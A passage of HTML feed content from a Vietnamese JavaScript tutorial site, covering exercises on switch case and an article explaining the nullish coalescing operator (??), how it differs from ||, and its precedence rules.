class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Sau đây là những kiến thức cơ bản cần nhớ về lệnh switch case trong JavaScript:</p> <ul> <li>Lệnh switch case là cấu trúc rẽ nhánh dùng để <strong>xác định một danh sách các trường hợp và khối lệnh tương ứng với mỗi trường hợp</strong>.</li> <li>Lệnh switch case sử dụng so sánh bằng nghiêm ngặt <code>===</code>.</li> <li>Khi tìm thấy trường hợp thỏa mãn, toàn bộ khối lệnh từ <code>case</code> thỏa mãn được thực thi cho đến khi gặp từ khóa <code>break</code> gần nhất hoặc kết thúc lệnh switch case.</li> <li>Nếu không có trường hợp thỏa mãn, khối lệnh tương ứng với <code>default</code> được thực thi.</li> <li>Bạn có thể nhóm các <code>case</code> lại với nhau bằng cách bỏ qua từ khóa <code>break</code>.</li> </ul> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Sử dụng <code>if..else</code> để viết đoạn code tương ứng với đoạn code sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> browser <span class="token operator">=</span> <span class="token string">"Chrome"</span><span class="token punctuation">;</span> <span class="token keyword">switch</span> <span class="token punctuation">(</span>browser<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">case</span> <span class="token string">"IE"</span><span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Not support!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token keyword">case</span> <span class="token string">"Chrome"</span><span class="token operator">:</span> <span class="token keyword">case</span> <span class="token string">"Firefox"</span><span class="token operator">:</span> <span class="token keyword">case</span> <span class="token string">"Safari"</span><span class="token operator">:</span> <span class="token keyword">case</span> <span class="token string">"Edge"</span><span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Support!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token keyword">default</span><span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Unknown browser!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Support!</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> browser <span class="token operator">=</span> <span class="token string">"Chrome"</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>browser <span class="token operator">===</span> <span class="token string">"IE"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Not support!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span> browser <span class="token operator">===</span> <span class="token string">"Chrome"</span> <span class="token operator">||</span> browser <span class="token operator">===</span> <span class="token string">"Firefox"</span> <span class="token operator">||</span> browser <span class="token operator">===</span> <span class="token string">"Safari"</span> <span class="token operator">||</span> browser <span class="token operator">===</span> <span class="token string">"Edge"</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Support!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Unknown browser!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Support!</span></code></pre></div> <p>Mặc dù trông code có vẻ tương đương, nhưng theo mình thấy thì dùng lệnh switch case sẽ <strong>dễ nhìn hơn</strong>.</p> </div> </div> </div> <h2 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h2> <p>Sử dụng lệnh switch case viết đoạn code tương ứng với đoạn code sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>x <span class="token operator">===</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"x KHÔNG LÀ số nguyên tố"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>x <span class="token operator">===</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"x LÀ số nguyên tố"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>x <span class="token operator">===</span> <span class="token number">3</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"x LÀ số nguyên tố"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>x <span class="token operator">===</span> <span class="token number">4</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"x KHÔNG LÀ số nguyên tố"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>x <span class="token operator">===</span> <span class="token number">5</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"x LÀ số nguyên tố"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>x <span class="token operator">===</span> <span class="token number">6</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"x KHÔNG LÀ số nguyên tố"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"CHƯA RÕ!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Bạn thấy rằng, có một vài trường hợp xử lý giống nhau. Nên mình có thể nhóm các <code>case</code> lại như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token keyword">switch</span> <span class="token punctuation">(</span>x<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">case</span> <span class="token number">2</span><span class="token operator">:</span> <span class="token keyword">case</span> <span class="token number">3</span><span class="token operator">:</span> <span class="token keyword">case</span> <span class="token number">5</span><span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"x LÀ số nguyên tố"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token keyword">case</span> <span class="token number">1</span><span class="token operator">:</span> <span class="token keyword">case</span> <span class="token number">4</span><span class="token operator">:</span> <span class="token keyword">case</span> <span class="token number">6</span><span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"x KHÔNG LÀ số nguyên tố"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token keyword">default</span><span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"CHƯA RÕ!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> </div> </div> </div>[email protected]<![CDATA[Toán tử Nullish Coalescing (??) trong JavaScript]]><![CDATA[Toán tử Nullish Coalescing ký hiệu ?? (toán tử hai dấu chấm hỏi) là toán tử mới trong JavaScript. Sau đây, mình sẽ cùng tìm hiểu xem toán tử Nullish Coalescing là gì và ứng dụng…]]>https://completejavascript.com/toan-tu-nullish-coalescing-trong-javascript/https://completejavascript.com/toan-tu-nullish-coalescing-trong-javascript/<![CDATA[Toán tử]]>Sat, 06 May 2017 21:00:00 GMT<p>Toán tử Nullish Coalescing ký hiệu <code>??</code> (toán tử hai dấu chấm hỏi) là toán tử mới trong JavaScript.</p> <p>Sau đây, mình sẽ cùng tìm hiểu xem toán tử Nullish Coalescing là gì và ứng dụng của toán tử này trong JavaScript như thế nào.</p> <h2 id="toán-tử-nullish-coalescing-là-gì" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-nullish-coalescing-l%C3%A0-g%C3%AC" aria-label="toán tử nullish coalescing là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử Nullish Coalescing là gì?</h2> <p>Toán tử Nullish Coalescing là toán tử hai ngôi <code>a ?? b</code>, với định nghĩa là:</p> <ul> <li>Nếu <code>a</code> khác <code>null</code> và <code>undefined</code> thì kết quả của <code>a ?? b</code> là <code>a</code>.</li> <li>Ngược lạị, nếu <code>a</code> bằng <code>null</code> hoặc <code>undefined</code> thì kết quả của <code>a ?? b</code> là <code>b</code>.</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">result <span class="token operator">=</span> a <span class="token operator">??</span> b<span class="token punctuation">;</span></code></pre></div> <p>Nếu a khác <code>null</code> và <code>undefined</code> thì <code>r</code> sẽ bằng <code>a</code>. Ngược lại, <code>r</code> bằng <code>b</code>.</p> <p>Đọc đến đây chắc bạn có liên tưởng đến <a href="/cau-truc-re-nhanh-trong-javascript/">toán tử <code>?</code></a>. Vì mình có thể viết lại <code>result = a ?? b</code> bằng cách sử dụng toán tử <code>?</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">result <span class="token operator">=</span> a <span class="token operator">!==</span> <span class="token keyword">null</span> <span class="token operator">&amp;&amp;</span> a <span class="token operator">!==</span> <span class="token keyword">undefined</span> <span class="token operator">?</span> a <span class="token operator">:</span> b<span class="token punctuation">;</span></code></pre></div> <p>Tuy nhiên, nếu so sánh đoạn code này với đoạn code trên (sử dụng toán tử <code>??</code>) thì rõ ràng việc sử dụng toán tử <code>??</code> là ngắn gọn hơn.</p> <h2 id="ứng-dụng-của-toán-tử-nullish-coalescing" style="position:relative;"><a href="#%E1%BB%A9ng-d%E1%BB%A5ng-c%E1%BB%A7a-to%C3%A1n-t%E1%BB%AD-nullish-coalescing" aria-label="ứng dụng của toán tử nullish coalescing permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ứng dụng của toán tử Nullish Coalescing</h2> <p>Toán tử Nullish Coalescing thường dùng để cung cấp giá trị mặc định cho một biến có thể <code>null</code> hoặc <code>undefined</code>.</p> <p>Ví dụ với biến có giá trị <code>undefined</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> name<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>name <span class="token operator">??</span> <span class="token string">"Người dùng ẩn danh"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Người dùng ẩn danh</span></code></pre></div> <p>Ví dụ với biến có giá trị khác <code>undefined</code> và <code>null</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> name <span class="token operator">=</span> <span class="token string">"jsDev"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>name <span class="token operator">??</span> <span class="token string">"Người dùng ẩn danh"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// jsDev</span></code></pre></div> <p>Ngoài ra, bạn có thể sử dụng nhiều toán tử <code>??</code> liên tiếp nhau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> fullName<span class="token punctuation">;</span> <span class="token keyword">let</span> nickName <span class="token operator">=</span> <span class="token string">"jsDev"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> displayName <span class="token operator">=</span> fullName <span class="token operator">??</span> nickName <span class="token operator">??</span> <span class="token string">"Người dùng ẩn danh"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>displayName<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// jsDev</span></code></pre></div> <h2 id="so-sánh-toán-tử--và-toán-tử-" style="position:relative;"><a href="#so-s%C3%A1nh-to%C3%A1n-t%E1%BB%AD--v%C3%A0-to%C3%A1n-t%E1%BB%AD-" aria-label="so sánh toán tử và toán tử permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh toán tử <code>??</code> và toán tử <code>||</code></h2> <p>Trong bài viết <a href="/toan-tu-logic-trong-javascript/">toán tử logic trong JavaScript</a>, mình cũng đã giới thiệu về toán tử <code>||</code> với ứng dụng tương tự như ví dụ trên:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> fullName<span class="token punctuation">;</span> <span class="token keyword">let</span> nickName <span class="token operator">=</span> <span class="token string">"jsDev"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> displayName <span class="token operator">=</span> fullName <span class="token operator">||</span> nickName <span class="token operator">||</span> <span class="token string">"Người dùng ẩn danh"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>displayName<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// jsDev</span></code></pre></div> <p>Bạn thấy rằng kết quả là như nhau.</p> <p><strong>Vậy toán tử <code>??</code> khác với toán tử <code>||</code> như thế nào?</strong></p> <p>Cụ thể:</p> <ul> <li>Toán tử <code>??</code> trả về giá trị khác <code>null</code> và <code>undefined</code> đầu tiên.</li> <li>Toán tử <code>||</code> trả về giá trị <strong>truthy</strong> đầu tiên.</li> </ul> <p>Hay nói cách khác, toán tử <code>||</code> không phân biệt được các giá trị <code>false</code>, <code>0</code>, string rỗng <code>""</code> với <code>null</code>/<code>undefined</code>. Vì chúng đều là các giá trị <strong>falsy</strong>.</p> <p>Đôi khi bạn chỉ muốn sử dụng giá trị mặc định khi biến có giá trị <code>null</code> hoặc <code>undefined</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> length <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>length <span class="token operator">||</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>length <span class="token operator">??</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0</span></code></pre></div> <p>Trong ví dụ trên:</p> <ul> <li><code>length = 0</code> nên <code>length</code> là giá trị <strong>falsy</strong>. Vì vậy, đáp án câu lệnh <code>console.log</code> đầu tiên là <code>10</code>.</li> <li>Và cũng vì <code>length = 0</code> nên <code>length</code> khác <code>null</code> và <code>undefined</code>. Do đó, đáp án câu lệnh <code>console.log</code> thứ hai là <code>0</code>.</li> </ul> <blockquote> <p>💡 Ví dụ trên sử dụng toán tử <code>??</code> phù hợp hơn. Vì thực tế, số <code>0</code> cũng là giá trị hợp lệ đối với biến <code>length</code>.</p> </blockquote> <h2 id="thứ-tự-ưu-tiên-của-toán-tử-" style="position:relative;"><a href="#th%E1%BB%A9-t%E1%BB%B1-%C6%B0u-ti%C3%AAn-c%E1%BB%A7a-to%C3%A1n-t%E1%BB%AD-" aria-label="thứ tự ưu tiên của toán tử permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thứ tự ưu tiên của toán tử <code>??</code></h2> <p>Toán tử <code>??</code> có <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence#table">thứ tự ưu tiên</a> gần tương đương (thấp hơn một chút) so với toán tử <code>||</code>.</p> <p>Nghĩa là toán tử Nullish Coalescing được thực hiện trước toán tử gán <code>=</code>, toán tử dấu hỏi <code>?</code> và thực hiện sau so với các toán tử khác, như toán tử số học <code>+</code>, <code>*</code>,...</p> <p>Nếu bạn không chắc chắn về thứ tự ưu tiên thì nên sử dụng cặp dấu ngoặc đơn <code>()</code>, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x<span class="token punctuation">;</span> <span class="token keyword">let</span> y<span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">const</span> sum <span class="token operator">=</span> <span class="token punctuation">(</span>x <span class="token operator">??</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token punctuation">(</span>y <span class="token operator">??</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 2 * 3</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>sum<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 6</span></span></code></pre></div> <p>Trong ví dụ trên, nếu bạn không sử dụng cặp dấu ngoặc đơn <code>()</code> thì kết quả sẽ khác:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x<span class="token punctuation">;</span> <span class="token keyword">let</span> y<span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">const</span> sum <span class="token operator">=</span> x <span class="token operator">??</span> <span class="token number">2</span> <span class="token operator">*</span> y <span class="token operator">??</span> <span class="token number">3</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>sum<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span></span></code></pre></div> <p>Bởi vì, toán tử <code>*</code> có độ ưu tiên cao hơn toán tử <code>??</code> nên phép tính <code>2 * y</code> được thực hiện trước. Mà <code>y</code> có giá trị <code>undefined</code> nên <code>2 * y</code> bằng <code>NaN</code>.</p> <p>Mà <code>NaN</code> lại khác <code>null</code> và <code>undefined</code> nên kết quả của <code>x ?? NaN ?? 3</code> là <code>NaN</code>.</p> <h2 id="sử-dụng-toán-tử--cùng-với-toán-tử--hoặc-" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-to%C3%A1n-t%E1%BB%AD--c%C3%B9ng-v%E1%BB%9Bi-to%C3%A1n-t%E1%BB%AD--ho%E1%BA%B7c-" aria-label="sử dụng toán tử cùng với toán tử hoặc permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng toán tử <code>??</code> cùng với toán tử <code>&#x26;&#x26;</code> hoặc <code>||</code></h2> <p>Vì lý do an toàn nên JavaScript cấm sử dụng toán tử <code>??</code> với toán tử <code>&#x26;&#x26;</code> hoặc <code>||</code> - trừ khi sử dụng cùng với cặp dấu ngoặc đơn <code>()</code>.</p> <p>Ví dụ sau đây sẽ bị lỗi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">1</span> <span class="token operator">&amp;&amp;</span> <span class="token number">2</span> <span class="token operator">??</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught SyntaxError: Unexpected token '??'</span></code></pre></div> <p>Để tránh lỗi, bạn phải sử dụng cặp dấu ngoặc đơn <code>()</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token number">1</span> <span class="token operator">&amp;&amp;</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token operator">??</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="token comment">// => 2 ?? 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> <span class="token keyword">let</span> y <span class="token operator">=</span> <span class="token number">1</span> <span class="token operator">&amp;&amp;</span> <span class="token punctuation">(</span><span class="token number">2</span> <span class="token operator">??</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 1 &amp;&amp; 2</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Toán tử Nullish Coalescing <code>??</code> là toán tử hai ngôi, dùng để trả về giá trị khác <code>null</code> và <code>undefined</code> đầu tiên.</p> <p>Toán tử <code>??</code> thường dùng để gán giá trị mặc định cho biến (có thể <code>null</code> hoặc <code>undefined</code>).</p> <p>Toán tử <code>??</code> có độ ưu tiên cao hơn toán tử gán <code>=</code> và toán tử dấu hỏi <code>?</code>, nhưng thấp hơn hầu hết các toán tử còn lại. Vì vậy, bạn nên sử dụng cặp dấu ngoặc đơn <code>()</code> để tránh mắc lỗi không mong muốn.</p> <p>JavaScript cấm sử dụng toán tử <code>??</code> trực tiếp với toán tử <code>||</code> hoặc toán tử 